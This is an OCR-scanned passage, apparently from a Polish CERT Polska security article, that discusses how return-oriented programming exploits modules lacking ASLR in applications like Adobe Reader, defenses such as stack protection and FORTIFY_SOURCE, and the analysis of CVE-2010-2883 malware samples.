1g3z2.dil
we.dll
SS-adir A11

Rysunek 17: Biblioteka z obiektem unicode
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przyktad ROP).

Skoro nawet w tak popularnych aplikacjach, jak Adobe Reader 12 z
32 obrazéw DLL nie wspiera ASLR, mozna przypuszczadé, ze sytuacje,
w ktérych dzieki jednemu podatnemu modutowi uda sie skompromi-
towac cala aplikacje, bedzie zdarzac sie czesto. Twoércy aplikacji maja
na wzgledzie przede wszystkim jej uzytecznosé, a nie bezpieczenstwo.
Dodatkowo wiele aplikacji korzysta z modutéw dostarczonych przez
zewnetrzne firmy i nie maja wplywu na proces ich tworzenia, a wiec
takze i ich bezpieczenstwa. Dlatego ciezar wymogu wprowadzania za-
bezpieczen przenosi si¢ na system operacyjny.

Atakéw mozna réwniez unikngé przez niedopuszczenie do przejecia
kontroli nad rejestrami procesora przez napastnika, miedzy innymi w
drodze imlpementacji innych zabezpieczen — ochrony stosu, wbudowa-
nych zabezpieczen przed przepelnieniami buforéw (jak to ma miejsce w
glibc skompilowanej z zestawem zabezpieczen FORTIFY_SOURCE),
ete..

Mozna zauwazy¢, ze technika ROP pozwala na migracje explotéw
zaprojektowanych na platformy Windows XP na nowsze systemy (tak,
jak zmodyfikowana wersja eksploitu na program FatPlayer).

Prébki szkodliwego oprogramowania wykorzystujacego CVE-2010-
2883 zostaly udostepnione do analizy przez Mile Parkour [8]. Program
bitbite powstal w pracowni CERT Polska / NASK, wykorzystuje on
biblioteke libdistorm3 autorstwa Gila Dabaha [10].
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